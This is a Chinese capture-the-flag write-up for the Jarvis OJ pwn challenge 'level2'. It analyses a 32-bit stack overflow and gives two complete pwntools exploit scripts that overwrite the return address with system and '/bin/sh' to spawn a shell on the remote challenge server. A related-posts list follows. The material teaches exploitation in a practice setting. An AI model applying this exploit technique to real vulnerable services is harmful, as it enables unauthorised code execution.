[Jarvis OJ - PWN]——[XMAN]level2

  • 题目地址:https://www.jarvisoj.com/challenges
  • 题目:
    首先,checksec一下。32位并且没有开启PIE

    在IDA中查看一下。main函数里面没有我们想要的,点开vulnerable_function函数。发现read函数,第一个参数为0,代表标准输入。可以利用栈溢出。


    发现里面有system函数,但是里面的参数不是我们想要的,所以我们要覆盖一下它。按shift + F12,找到/bin/sh字符串。


    /bin/sh的地址为0x0804A024
    下面我们有两种方法

方法一

可以利用 .plt 找到system函数第一句执行的地址。或者也可以自己找。
exp:

from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
elf = ELF("./level2.54931449c557d0551c4fc2a10f4778a1")
binsh = 0x0804A024
sys_address = elf.plt["system"]  # 其实就是0x08048320
payload = 'a'*(0x88 + 0x4) + p32(sys_address)+'aaaa'+p32(binsh) # aaaa可以随机四个字符就好
p.send(payload)
p.interactive()

方法二

找到call system的地址
exp:

from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
binsh = 0x0804A024
call_system_address = 0x0804845C
payload = 'a'*(0x88 + 0x4) + p32(call_system_address)+p32(binsh)
p.send(payload)
p.interactive()

小知识

call语句,其实包含两个步骤:

  1. 将函数的下一条执行语句的地址压栈 ,也就是返回地址
  2. 执行函数的第一个语句


就不给你自己写下exploit

[Jarvis OJ - PWN]——[XMAN]level2相关推荐

  1. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

  2. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  3. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

  4. [Jarvis OJ - PWN]——[XMAN]level3

    [Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...

  5. [Jarvis OJ - PWN]——[XMAN]level0

    [Jarvis OJ - PWN]--[XMAN]level0 题目地址:https://www.jarvisoj.com/challenges 题目: checksec看看,64位,开启了NX保护 ...

  6. [Jarvis OJ - PWN]——[XMAN]level1

    [Jarvis OJ - PWN]--[XMAN]level1 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,什么保护都没有开.32 ...

  7. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  8. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  9. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

最新文章

  1. python调用百度识别文字接口_python调用百度通用文字识别接口进行验证码识别
  2. 2021夏季每日一题 【week5 完结】
  3. python内置函数用来返回数值型序列中所有元素之和_语句x = 3==3, 5执行结束后,变量x的值为_学小易找答案...
  4. SAP Commerce Cloud 切换 delivery mode 会触发 promotionresult 的删除
  5. 如何查看自己的ubutu系统是32位的还是64位的
  6. Delphi水平测试试卷(初中级)样题
  7. mysql schema 保存数据_如何在mysql数据库中保存apache spark schema输出
  8. ASP.NET基础教程-Server对象
  9. DT大数据梦工厂 第72,73讲
  10. FMS3 客户端call服务器端
  11. csgo手机上看demo_《CSGO》观看游戏DEMO方法 怎么观看游戏DEMO
  12. 镇楼篇--转行初入IT的心路历程
  13. C++程序员的职业生涯规划
  14. 想知道电脑上怎么压缩图片?用这3个方法实现快速压缩
  15. 普通话考试是从题库里抽吗_普通话考试试题有哪些
  16. csdn上面文章转发
  17. 中国与美国光纤网络连接详解
  18. 计算机硬件的组装硬盘,组装电脑如何选择硬盘?DIY装机四种电脑硬盘搭配方案提供参考...
  19. SDRAM DQM的解释
  20. 【计网】(三)超网、路由、NAT协议

热门文章

  1. 控制Domino的log.nsf数据库过大增长
  2. SQL查询语句精华文章(转)
  3. HarmonyOS之LED灯和振动器Vibrator的功能和使用
  4. HarmonyOS之应用工程结构与设备模板
  5. 详解Python的*args和 **kwargs
  6. Martix工作室考核题 —— 输出1000以内能被3整除,且个位数为6的所有整数。
  7. DSP入门:中断PIE
  8. 【STM32】FreeRTOS系统配置
  9. 【Tools】VMware Workstation 15.5 Pro安装详解
  10. [Qt教程] 第34篇 网络(四)FTP(二)